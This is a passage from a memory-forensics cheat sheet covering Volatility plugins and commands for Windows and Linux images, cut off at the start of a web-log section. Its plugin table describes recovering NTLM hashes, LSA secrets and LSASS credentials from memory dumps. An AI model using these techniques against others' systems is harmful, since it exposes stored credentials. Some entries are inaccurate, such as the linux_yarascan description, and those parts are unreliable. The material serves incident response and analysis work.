| `dumpfiles`                                                |                                      | Dumps all the files mapped in memory (or the ones matching a specified regex).                                                                                                                                                                                                                   |
| `dumpregistry`                                             |                                      | Dumps all or the specified (using its virtual offset) registry hive to a file.                                                                                                                                                                                                                   |
| `envars`                                                   |                                      | Displays the environment variables of each or the specified process.                                                                                                                                                                                                                             |
| `filescan`                                                 |                                      | Scans the memory image for `FILE_OBJECTs` which correspond to files loaded in memory.                                                                                                                                                                                                            |
| <p><code>getsids</code><br><code>getservicesids</code></p> |                                      | Lists the `Security Identifiers (SID)` present, respectively, in each processes token or services.                                                                                                                                                                                               |
| `handles`                                                  |                                      | Lists the handles (and information about the handles) for each or the specified process.                                                                                                                                                                                                         |
| `hashdump`                                                 |                                      | Dumps the local accounts `LM` / `NTLM` hashes from the `SAM` registry hive loaded in memory.                                                                                                                                                                                                     |
| `hivelist`                                                 | `windows.registry.hivelist.HiveList` | Lists the registry hives.                                                                                                                                                                                                                                                                        |
| `imagecopy`                                                |                                      | Converts a memory dump (such as a crashdump, hibernation file, `VirtualBox` core dump, `VMware` snapshot, etc.) to a `raw` memory image.                                                                                                                                                         |
| `imageinfo`                                                | `windows.verinfo.VerInfo`            | Prints high level information about the memory image.                                                                                                                                                                                                                                            |
| `ldrmodules`                                               |                                      | Lists the `DLL` loaded by each or the specified process but, in contrary to `dlllist`, from a process's `VirtualAddressDescriptor (VAD)` which can be used to find unlinked `DLL`.                                                                                                               |
| `lsadump`                                                  |                                      | Dumps decrypted `LSA` secrets (account cleartext passwords for Windows autologon or Windows services / scheduled tasks, etc.) from the memory image.                                                                                                                                             |
| `malfind`                                                  |                                      | <p>Scans the memory image for injected code, that is memory pages marked with the <code>read</code>, <code>write</code>, and <code>execute</code> permissions that contains data not associated with a file on disk.<br><br>Due to its very nature, this plugin is prone to false positives.</p> |
| `mimikatz`                                                 |                                      | (Custom) Dumps the accounts secrets from the `LSASS` process in memory, similarly to what can be achieved on a running system using `mimikatz`.                                                                                                                                                  |
| `moddump`                                                  |                                      | Extracts a kernel driver to a file.                                                                                                                                                                                                                                                              |
| `printkey`                                                 |                                      | Prints the subkeys, values, data, and data types contained within a specified registry key.                                                                                                                                                                                                      |
| `privs`                                                    |                                      | Lists the privileges present in each processes token and indicates if the privileges are enabled explicitly or by default.                                                                                                                                                                       |
| `procdump`                                                 |                                      | Extracts a process's executable to a file that more or less closely resembles the original process executable.                                                                                                                                                                                   |
| `pslist`                                                   | `windows.pslist.PsList`              | Lists the processes of the memory image.                                                                                                                                                                                                                                                         |
| <p><code>psscan</code><br><code>psdispscan</code></p>      | `windows.psscan.PsScan`              | Enumerates the processes of the memory image through carving.                                                                                                                                                                                                                                    |
| `pstree`                                                   | `windows.pstree.PsTree`              | Lists the processes of the memory image in tree form (parent-child relationships).                                                                                                                                                                                                               |
| `psxview`                                                  |                                      | Uses different process listing / scanning techniques to find hidden processes.                                                                                                                                                                                                                   |
| `shellbags`                                                |                                      | Parses and prints Shellbag information (file name and `MAC` timestamps associated which entry) from all user hives loaded in memory.                                                                                                                                                             |
| `shimcache`                                                |                                      | Parses the Application Compatibility Shim Cache registry key.                                                                                                                                                                                                                                    |
| `sockets`                                                  |                                      | Lists the listening sockets of any protocol (`TCP`, `UDP`, `RAW`, etc.).                                                                                                                                                                                                                         |
| `sockscan`                                                 |                                      | Scans the memory image for `_ADDRESS_OBJECT` structures which contain sockets information.                                                                                                                                                                                                       |
| `svcscan`                                                  |                                      | Scans the memory image for Windows services and returns information about each service (service name and display name, service state, associated binary path, etc.).                                                                                                                             |
| `timeliner`                                                |                                      | Creates a timeline from multiples artifacts in memory (processes creation and exit times, sockets creation time, registry keys `LastWriteTime` etc.).                                                                                                                                            |
| `yarascan`                                                 |                                      | Scans the image memory for the specified `YARA` rule.                                                                                                                                                                                                                                            |

**\[Volatility 2] Image identification**

The `imageinfo` and `kdbgscan` modules can be used to retrieve the image profile needed for further analysis of the image. **It is recommended to retrieve the `Volatility` profile of the image using the `kdbgscan` module.**

`imageinfo` will provide basic information on the image such as the operating system, service pack, and hardware architecture of the original system as well as the time the sample was collected and suggested `Volatility` profiles.

Contrary to `imageinfo`, `kdbgscan` is designed to positively identify the correct profile by scanning for `KDBGHeader` signatures linked to `Volatility` profiles.

**Note that (contrary to `Volatility 2`) `Volatility 3` does not rely on profiles and instead attempts to generate the equivalent information directly from the memory image itself.**

```bash
volatility -f <MEMORY_DUMP_FILE> imageinfo

# Recommended for Volatility profile identification
volatility -f <MEMORY_DUMP_FILE> kdbgscan
```

**Processes and DLLs**

*Processes listing*

The `pslist`, `pstree`, `psscan` and `psxview` modules may be used to list the processes in the memory of the system. **It is recommended to start the processes analysis using the `psxview` module as it integrates multiples techniques for `rootkit` detection.**

`psxview` combines multiples modules / information source for listing, both linked or unlinked / hidden processes, and shows which technique(s) was able to detect each process:

* The `pslist` and `psscan` modules, both of which are detailed below.
* The `thrdscan` module to scan the memory for `executive thread (ETHREAD)` objects (used by the system scheduler) and then use the `EPROCESS` block of the data structure to identify the process that the thread belongs to.
* The `PspCidTable` data structure which keeps track of all the processes and threads.
* The `Windows subsystem process (Csrss)` handle table and internal independent structures.
* The `sessions` module, which analyzes the unique `_MM_SESSION_SPACE` objects and, among others features, display the details related to the processes running in each logon session
* The `deskscan` module, which enumerates desktops, desktop heap allocations, and associated threads

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> psxview
```

The `pslist` module print the processes in the list pointed to by `PsActiveProcessHead`. The `pstree` module orders the result of the `pslist` module in a hierarchical tree form, from parent to child(s) process(es). The `pslist` and `pstree` modules present the advantage of being able to retrieve the process name, `process ID (PID)`, the `parent process ID (PPID)`, number of threads, number of handles, and date/time when the process started and exited.

Both `pslist` and `pstree` modules can not detect rogue unlinked processes.

```bash
# Volatility2.

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> pslist

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> pstree

# Graphical graph output format that can be opened using xdot
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> pstree --output=dot --output-file=<OUTPUT_DOT_FILE>

# Volatility3.

volatility3 [-c <CONFIG>] -f <MEMORY_DUMP_FILE> windows.pslist.PsList
```

The `psscan` module attempt to list the processes by scanning the entirety of the memory dump for `_POOL_HEADER` objects and automatically perform sanity checks to reduce false positives. The `_POOL_HEADER` structure prepend each and every memory allocation made by the kernel whenever an object (process, file, etc.) is created in memory and identify the subsequent object type in the structure `PoolTag` field. The tag `Proc` is used to identify processes and thus parsing the memory for `_POOL_HEADER` objects having the `PoolTag` field set to `Proc` may be used to identify processes. The `psscan` module can thus be used to show unlinked processes.

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> psscan
```

*DLLs listing*

The `dlllist` and `ldrmodules` modules may be used to list the loaded DLLs in the memory of the system. **It is recommended to start the loaded DLLs analysis using the `ldrmodules` module as it integrates multiples techniques for rootkit detection.**

The `dlllist` module lists the loaded DLLs, of all processes or for the specified process, by walking the list of `_LDR_DATA_TABLE_ENTRY` structures pointed to by each process `_EPROCESS`'s '`Process Environment Block (PEB)` `InLoadOrderModuleList` list entry. DLLs are automatically added to this list when a process calls the `LoadLibrary` function (or others derivatives) and aren't removed until the `FreeLibrary` function is called and the reference count of the DLL reaches zero.

However, rootkit may hide DLLs by unlinking the DLLs from one or all of the linked lists of a process `PEB` (`InLoadOrderModuleList`, `InMemoryOrderModuleList` and `InInitializationOrderModuleList`). In which case, the `dlllist` module will not be able to identify the hidden DLL(s).

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dlllist

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dlllist -p <PID>

# In order to display unlinked process loaded DLLs, the physical offset of the EPROCESS object must be specified
# The offset can be retrieved using the psxview module
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dlllist --offset=<EPROCESS_PHYSICAL_OFFSET>
```

The `ldrmodules` module parses the `Virtual Address Descriptor (VAD)` tree (referenced in a process `_EPROCESS` object's `VadRoot` attribute) of each, or of the specified, process in order to find `_FILE_OBJECT` structure. The base address and the full path on disk of memory mapped files can be cross-referenced with the process `PEB` DLL lists to find rogue unlinked DLL(s).

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> ldrmodules -v

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> ldrmodules -v -p <PID>
```

The `impscan` module can be used to scan for calls to imported functions by a process or in a specified memory range. Scanning for calls in a memory can for instance be used to determine the functions called by a malware living only in memory.

```
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> impscan -p <PID>

# If malfind detects a PAGE_EXECUTE_READWRITE memory page for exemple:
#   Process: IEXPLORE.EXE Pid: 2044 Address: 0x7ff80000
#   Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> impscan -p <PID> -b <ADDRESSE>
```

*Handles*

The `handles` module display the open handles for all processes or for the specified process by walking the `HandleTableList` linked list of each process `_EPROCESS`'s `ObjectTable` (structure `HANDLE_TABLE`).

The handles can be of the following types:

* `File`
* `Directory`
* `Process`
* `Thread`
* `Key`
* `Token`
* `Mutant`
* `Event`
* `Port`
* `FilterCommunicationPort`
* `DebugObject`
* `WmiGuid`
* `Controller`
* `Profile`
* `Type`
* `Section`
* `SymbolicLink`
* `EventPair`
* `Desktop`
* `Timer`
* `WindowStation`
* `Driver`
* `KeyedEvent`
* `Device`
* `IoCompletion`
* `Adapter`
* `Job`
* `WaitablePort`
* `FilterConnectionPort`
* `Semaphore`
* `Callback`

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> handles

# Display the specified process open handles
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> handles -p <PID>

# Display the open handles of the specified type
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> handles -t <HANDLE_TYPE | COMMA_SEPARATED_HANDLE_TYPE_LIST>
```

*Process(es) / DLL(s) dump*

The `procdump` module can be used to reconstruct a process `Portable Executable (PE)` file from memory, as close as possible to the original file. The `memdump` module dump the process `PE` as well as all the process addressable address space. **The `procdump` module may be used to retrieve an executable for static or dynamic reverse engineering while the `memdump` module can be used to analyze the comportment of the process on the system (runtime variables, opened files, etc.)**

The `procdump` module uses the process `Process Environment Block (PEB)`'s `ImageBaseAddress` to retrieve the `PE` file loaded in memory and automatically realign the memory sections (`.text`, `.data`, `.bss`, etc.). Additionally, `procdump` performs sanity checks on the `PE` header.

Overly simplistically put, the `memdump` module dumps all the process' memory pages from the process page table, retrieved from the process' `_EPROCESS` object `Process control block (Pcb)` (`_KPROCESS` structure) `DirectoryTableBase`.

`Volatility3` does not include dedicated dump plugins. The `windows.pslist.PsList` and `windows.psscan.PsScan` plugins can be used to dump the binary associated with a process. The `windows.memmap.Memmap` plugin can be used to dump the full memory space of a process.

```bash
# Volatility2.

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> procdump -D <OUTPUT_DIR> -p <PID>

# Disable sanity checks on PE header, which may be exploited by malware to prevent the dumping
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> procdump --unsafe -D <OUTPUT_DIR> -p <PID>

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> memdump -D <OUTPUT_DIR> -p <PID>

# Volatility3.

volatility3 [-c <CONFIG>] -f <MEMORY_DUMP_FILE> windows.pslist.PsList --dump [--pid <PID>]

volatility3 [-c <CONFIG>] -f <MEMORY_DUMP_FILE> windows.psscan.PsScan --dump [--pid <PID>]

volatility3 [-c <CONFIG>] -f <MEMORY_DUMP_FILE> windows.memmap.Memmap --dump [--pid <PID>]
```

The `dlldump` module reconstructs the DLL(s) from memory for all processes, a specified process, the base address of a DLL in memory or using a regular expression specifying the DLL(s) name.

The `dlldump` module lists the loaded DLLs using the same process as the `dlllist` module, and dumps the DLLs using each DLL base address `DllBase`, retrieved in the module entry from, each or the specified, process `Process Environment Block (PEB)`'s `InLoadOrderModuleList` list (list of `_LDR_DATA_TABLE_ENTRY` structures).

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dlldump -D <OUTPUT_DIR>
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dlldump -D <OUTPUT_DIR> --ignore-case --regex=<REGEX>

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> procdump -D <OUTPUT_DIR> -p <PID>

# In order to dump unlinked process loaded DLLs, the physical offset of the EPROCESS object must be specified
# The offset can be retrieved using the psxview module
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> procdump -D <OUTPUT_DIR> --offset=<EPROCESS_PHYSICAL_OFFSET>

# In order to dump unlinked DLLs, the base address of the DLL must be specified
# The DLL base address can be retrieved using the ldrmodules module
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> procdump -D <OUTPUT_DIR> --base <DLL_BASE_ADDRESS>
```

*Processes security context and privileges*

The `getsids` and `privs` modules retrieve the `Security Identifiers (SID)` and the privileges associated with all or the specified process. Both modules parse the `Token` attribute (structure `EX_FAST_REF` referencing a `_TOKEN` object) of the process `_EPROCESS` object in order to retrieve, respectively the `SIDs` in the `UserAndGroups` attribute and the privileges in the `Privileges` attribute.

The `UserAndGroups` attribute is an array of `_SID_AND_ATTRIBUTES` objects, of size `UserAndGroupCount`, containing a `SID` value (`_SID` structure) and the `SID` state in the `Attributes` flag.

The `Privileges` attribute is an array of `_LUID_AND_ATTRIBUTES` objects, of size `PrivilegeCount`, containing a `LUID` value, representing a privilege, and the privilege state in the `Attributes` flag (combination of the following values `SE_PRIVILEGE_ENABLED`, `SE_PRIVILEGE_ENABLED_BY_DEFAULT`, `SE_PRIVILEGE_USED_FOR_ACCESS` and `SE_PRIVILEGE_REMOVED`).

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> getsids
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> getsids -p <PID>

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> privs
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> privs -p <PID>

# Display processes having the privilege(s) matching the regular expression
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> privs --regex="regex"

# Display privileges that processes explicitly enabled (i.e. that were not enabled by default but are currently enabled).
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> privs --silent
```

**Process command line arguments**

The `cmdline` module retrieves the command line argument(s) of all or the specified process, which are stored in each process `Process Environment Block (PEB)`'s `ProcessParameters` (`_RTL_USER_PROCESS_PARAMETERS` structure) `CommandLine` attribute. The command line is specified as an argument of the `CreateProcessA` function.

Note that command line arguments as stored in memory in a process `PEB` may be maliciously altered.

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> cmdline

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> cmdline -p <PID>
```

**Network activity**

Different plugins can be used in `Volatility 2` and `Volatility 3` to enumerate the active network connections of the system when the memory dump was taken. Some plugins, that rely on scanning the memory for known structures, may be able to retrieve information about ended connections, as the related memory struct may persist in memory after a connection is terminated.

```bash
# For Windows Vista / Windows 2008 and later.

# Scans memory for network object structures (TCP endpoints _TCP_ENDPOINT, TCP listeners _TCP_LISTENER, and UDP endpoints _UDP_ENDPOINT).
# Equivalent of connscan + sockscan for Windows XP and Windows 2003 Server.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> netscan
volatility3 -f <MEMORY_DUMP_FILE> windows.netscan.NetScan

# Lists all UDP Endpoints (in UdpPortPool or UdpCompartmentSet), TCP Listeners (TcpPortPool or TcpCompartmentSet) and TCP Endpoints (in TCP Endpoint partition table) residing in the tcpip.sys driver memory space.
# Starting from Windows 10.14xxx, the UdpPortPool and TcpPortPool were replaced by the UdpCompartmentSet and TcpCompartmentSet structs.
volatility3 -f <MEMORY_DUMP_FILE> windows.netstat.NetStat

# For Windows XP and Windows 2003 Server (x86 or x64) ONLY.

# Enumerates the active connections by following the TCBTable table in the tcpip.sys driver memory space.
# Memory from hibernated system may not show any connections as Windows closes the connections before hibernating.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> connections

# Scans the memory for _TCPT_OBJECT structures.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> connscan

# Enumerates listening sockets by following a non non-exported struct in the tcpip.sys driver memory space.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> sockets

# Scans the memory for _ADDRESS_OBJECT sockets structures.
# May retrieve information about terminated sockets, similarly to connscan.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> sockscan
```

The `vol2`'s `yarascan` and `vol3`'s `yarascan.YaraScan` plugins can be used to scan the memory image for `URLs`:

```
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> yarascan -Y "http://"

volatility3 -f <MEMORY_DUMP_FILE> yarascan.YaraScan --yara-rules="http://"
```

**In memory file objects enumeration and retrieval**

Files present in memory, i.e files currently loaded by processes, can be listed and extracted using, respectively, the `filescan` / `windows.filescan.FileScan` and `dumpfiles` / `windows.dumpfiles.DumpFiles` plugins.

The plugins scan the memory image for `_FILE_OBJECT` structures, and thus present the advantage of being able to locate / dump files possibly hidden by malware (as opposed to walking structures such as `_LDR_DATA_TABLE_ENTRY`).

```bash
# Scan the given memory image for FILE_OBJECT structures.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> filescan
volatility3 -f <MEMORY_DUMP_FILE> windows.filescan.FileScan

# Extract all the files (_FILE_OBJECT structures) present in the given memory dump.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dumpfiles -n --dump-dir=<OUTPUT_FOLDER> -S <OUTPUT_SUMMARRY_FILE>
volatility3 -f <MEMORY_DUMP_FILE> windows.dumpfiles.DumpFiles

# Extract the files (_FILE_OBJECT structures) whose names match the specified regex.
# Regex examples: -r ".*\.doc" | -r ".*\.[op]st.*"
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dumpfiles -n --dump-dir=<OUTPUT_FOLDER> -r <REGEX>

# Extract the files (_FILE_OBJECT structures) present in the specified process(es) memory space.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dumpfiles -n --dump-dir=<OUTPUT_FOLDER> -S <OUTPUT_SUMMARRY_FILE> --pid=<PID | PID_COMMA_LIST>
volatility3 -f <MEMORY_DUMP_FILE> windows.dumpfiles.DumpFiles --pid <PID>

# Extrat a single file (_FILE_OBJECT structure) at the given virtual / physical offset.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> dumpfiles -n --dump-dir=<OUTPUT_FOLDER> -Q <PHYSICAL_ADDRESS>
volatility3 -f <MEMORY_DUMP_FILE> windows.dumpfiles.DumpFiles [--virtaddr <VIRTUAL_ADDRESS> | --physaddr <PHYSICAL_ADDRESS>]
```

**Registry hives**

The `Volatility` `hivelist` / `windows.registry.hivelist.HiveList` plugins can be used to list the registry hives present in a memory image. The plugins internally rely on the `hivescan` / `windows.registry.hivescan.HiveScan` plugins to scan the memory for registry hives. The scan plugins identify paged pool with the `CM10` pool tag as `_CMHIVE` data structures, used to represent hives in kernel memory, are allocated in paged pools with this tag. The `hivelist` / `windows.registry.hivelist.HiveList` plugins validate that the offset found by the scanner indeed match registry hives by validating the `_CMHIVE`->`_HHIVE`->`Signature` attribute (in structure offset `0x0`) to be `0xbee0bee0`.

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> hivelist

volatility3 -f <MEMORY_DUMP_FILE> windows.registry.hivelist.HiveList
```

The keys and subkeys (with their last written timestamp) in a registry hive can be recursively listed using the `hivedump` plugin. The hive virtual memory address of the targeted registry hive is required and can be retrieved using the `hivelist` plugin:

```bash
# Virtual offset example: 0xffff860c0e681000.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> hivedump --hive-offset <HIVE_VIRTUAL_OFFSET>
```

The `printkey` / `windows.registry.printkey.PrintKey` plugins can be used to print either all or the specified registry key (and whether the key is volatile or stable). If a registry hive is not specified (through its virtual memory address), the plugins will first enumerate the registry hives using the `hivelist` / `windows.registry.hivelist.HiveList` plugins.

```bash
# Print all keys' subkeys and values.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> printkey

# Search all the registry hives to print the specified key's subkey(s) and value(s).
# Key example: ControlSet001\Services.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> printkey -K '<KEY>'

# Print the key's subkey(s) and value(s) in the specified registry hives.
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> printkey --hive-offset <HIVE_VIRTUAL_OFFSET> -K '<KEY>'
```

**Strings identification**

The `vol2`'s `strings` and `vol3`'s `windows.strings.Strings` plugins can be used to determine to which process given strings belong to:

```
strings <MEMORY_DUMP_FILE> > <STRING_FILE>

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> strings --strings-file <STRING_FILE>
volatility3 -f <MEMORY_DUMP_FILE> windows.strings.Strings --strings-file <STRING_FILE>
```

**Malware finder**

*malfind plugin*

`Volatility` `malfind` / `windows.malfind.Malfind` plugin detect suspicious memory pages that may be the result of code injection (shellcode or `DLL` injection). The `malfind` plugin uses a number of criteria, in combination, to identify code injection:

* Private memory region (i.e memory without an associated mapped file).
* Executable memory (such as `PAGE_EXECUTE_READWRITE`) region.
* Memory with a `PE` header (`MZ` magic number) with no associated entry in the process's `PEB` module list.
* etc.

```bash
volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> malfind

volatility3 -f <MEMORY_DUMP_FILE> windows.malfind.Malfind
```

*yarascan plugin*

TODO

**Local persistence**

The `Volatility2`'s [`autoruns`](https://github.com/tomchop/volatility-autoruns) and [`winesap`](https://github.com/reverseame/winesap) plugins can be used to detect local persistence from a memory image. The plugins are complimentary as, while having some overlap, enumerate different persistence `ASEP`.

The `ASEP` are covered by the `autoruns` plugin are `HKLM\SOFTWARE` and `NTUSER.DAT` registry `ASEP` keys, Windows services and scheduled tasks, `Winlogon` `ASEP` entries, Active Setup (`Microsoft\Active Setup\Installed Components`) and Microsoft Fix-it (`Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB`) entries. More details can be found in the project README. The persistence `ASEP` covered by `winesap` can be found in the [following diagram](https://github.com/reverseame/winesap/blob/master/img/taxonomy.png).

```bash
volatility --plugins <VOLATILITY_AUTORUNS_FOLDER_PATH> -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> autoruns

volatility --plugins <VOLATILITY_AUTORUNS_FOLDER_PATH> -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> autoruns
```

#### \[Volatility] Linux memory dump analysis

**Linux plugins overview**

| Plugin                       | Plugin description                                                           |
| ---------------------------- | ---------------------------------------------------------------------------- |
| `limeinfo`                   | Dump Lime file format information                                            |
| `linux_apihooks`             | Checks for userland apihooks                                                 |
| `linux_arp`                  | Print the ARP table                                                          |
| `linux_aslr_shift`           | Automatically detect the Linux ASLR shift                                    |
| `linux_banner`               | Prints the Linux banner information                                          |
| `linux_bash`                 | Recover bash history from bash process memory                                |
| `linux_bash_env`             | Recover a process' dynamic environment variables                             |
| `linux_bash_hash`            | Recover bash hash table from bash process memory                             |
| `linux_check_afinfo`         | Verifies the operation function pointers of network protocols                |
| `linux_check_creds`          | Checks if any processes are sharing credential structures                    |
| `linux_check_fop`            | Check file operation structures for rootkit modifications                    |
| `linux_check_idt`            | Checks if the IDT has been altered                                           |
| `linux_check_inline_kernel`  | Check for inline kernel hooks                                                |
| `linux_check_modules`        | Compares module list to sysfs info, if available                             |
| `linux_check_syscall`        | Checks if the system call table has been altered                             |
| `linux_check_tty`            | Checks tty devices for hooks                                                 |
| `linux_cpuinfo`              | Prints info about each active processor                                      |
| `linux_dentry_cache`         | Gather files from the dentry cache                                           |
| `linux_dmesg`                | Gather dmesg buffer                                                          |
| `linux_dump_map`             | Writes selected memory mappings to disk                                      |
| `linux_dynamic_env`          | Recover a process' dynamic environment variables                             |
| `linux_elfs`                 | Find ELF binaries in process mappings                                        |
| `linux_enumerate_files`      | Lists files referenced by the filesystem cache                               |
| `linux_find_file`            | Lists and recovers files from memory                                         |
| `linux_getcwd`               | Lists current working directory of each process                              |
| `linux_hidden_modules`       | Carves memory to find hidden kernel modules                                  |
| `linux_ifconfig`             | Gathers active interfaces                                                    |
| `linux_info_regs`            | It's like 'info registers' in GDB. It prints out all the                     |
| `linux_iomem`                | Provides output similar to /proc/iomem                                       |
| `linux_kernel_opened_files`  | Lists files that are opened from within the kernel                           |
| `linux_keyboard_notifiers`   | Parses the keyboard notifier call chain                                      |
| `linux_ldrmodules`           | Compares the output of proc maps with the list of libraries from libdl       |
| `linux_library_list`         | Lists libraries loaded into a process                                        |
| `linux_librarydump`          | Dumps shared libraries in process memory to disk                             |
| `linux_list_raw`             | List applications with promiscuous sockets                                   |
| `linux_lsmod`                | Gather loaded kernel modules                                                 |
| `linux_lsof`                 | Lists file descriptors and their path                                        |
| `linux_malfind`              | Looks for suspicious process mappings                                        |
| `linux_memmap`               | Dumps the memory map for linux tasks                                         |
| `linux_moddump`              | Extract loaded kernel modules                                                |
| `linux_mount`                | Gather mounted fs/devices                                                    |
| `linux_mount_cache`          | Gather mounted fs/devices from kmem\_cache                                   |
| `linux_netfilter`            | Lists Netfilter hooks                                                        |
| `linux_netscan`              | Carves for network connection structures                                     |
| `linux_netstat`              | Lists open sockets                                                           |
| `linux_pidhashtable`         | Enumerates processes through the PID hash table                              |
| `linux_pkt_queues`           | Writes per-process packet queues out to disk                                 |
| `linux_plthook`              | Scan ELF binaries' PLT for hooks to non-NEEDED images                        |
| `linux_proc_maps`            | Gathers process memory maps                                                  |
| `linux_proc_maps_rb`         | Gathers process maps for linux through the mappings red-black tree           |
| `linux_procdump`             | Dumps a process's executable image to disk                                   |
| `linux_process_hollow`       | Checks for signs of process hollowing                                        |
| `linux_psaux`                | Gathers processes along with full command line and start time                |
| `linux_psenv`                | Gathers processes along with their static environment variables              |
| `linux_pslist`               | Gather active tasks by walking the task\_struct->task list                   |
| `linux_pslist_cache`         | Gather tasks from the kmem\_cache                                            |
| `linux_psscan`               | Scan physical memory for processes                                           |
| `linux_pstree`               | Shows the parent/child relationship between processes                        |
| `linux_psxview`              | Find hidden processes with various process listings                          |
| `linux_recover_filesystem`   | Recovers the entire cached file system from memory                           |
| `linux_route_cache`          | Recovers the routing cache from memory                                       |
| `linux_sk_buff_cache`        | Recovers packets from the sk\_buff kmem\_cache                               |
| `linux_slabinfo`             | Mimics /proc/slabinfo on a running machine                                   |
| `linux_strings`              | Match physical offsets to virtual addresses (may take a while, VERY verbose) |
| `linux_threads`              | Prints threads of processes                                                  |
| `linux_tmpfs`                | Recovers tmpfs filesystems from memory                                       |
| `linux_truecrypt_passphrase` | Recovers cached Truecrypt passphrases                                        |
| `linux_vma_cache`            | Gather VMAs from the vm\_area\_struct cache                                  |
| `linux_volshell`             | Shell in the memory image                                                    |
| `linux_yarascan`             | A shell in the Linux memory image                                            |
| `mbrparser`                  | Scans for and parses potential Master Boot Records (MBRs)                    |
| `patcher`                    | Patches memory based on page scans                                           |

***

### References

<https://github.com/volatilityfoundation/volatility/wiki/Command-Reference>

<https://www.youtube.com/watch?v=BMFCdAGxVN4>

<https://www.microsoftpressstore.com/articles/article.aspx?p=2233328\\&seqNum=4>

Learning Malware Analysis: Explore the concepts, tools, and techniques to analyze and investigate Windows malware (English Edition)

<https://www.aldeid.com/wiki/>

<https://www.nirsoft.net/kernel\\_struct/vista/EPROCESS.html>

<https://blog.scrt.ch/2010/11/22/manipulation-des-jetons-des-processus-sous-windows/>

<https://andreafortuna.org/2017/07/24/volatility-my-own-cheatsheet-part-5-networking/>

<https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal>

<https://volatility3.readthedocs.io/en/develop/\\_modules/volatility3/plugins/windows/netstat.html>

<http://redplait.blogspot.com/2016/06/tcpip-port-pools-in-fresh-windows-10.html>

<https://forum.kaspersky.com/topic/how-to-get-a-memory-dump-of-a-virtual-machine-from-its-hypervisor-36407/>

<https://openclassrooms.com/fr/courses/1750151-menez-une-investigation-d-incident-numerique-forensic/6473549-recuperez-les-informations-importantes-de-la-memoire-windows-pour-lanalyse>

<https://www.forensicxlab.com/posts/hibernation/>

<https://arsenalrecon.com/products/hibernation-recon/faqs>


# Web logs analysis

### Webservers logs format

Webservers, such as `Apache` or `nginx`, usually follow known / standard log formats by default.

The following standard log formats are notably in use:

| Name                           | Template                                                                                             | Example                                                                                                              | Remarks                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
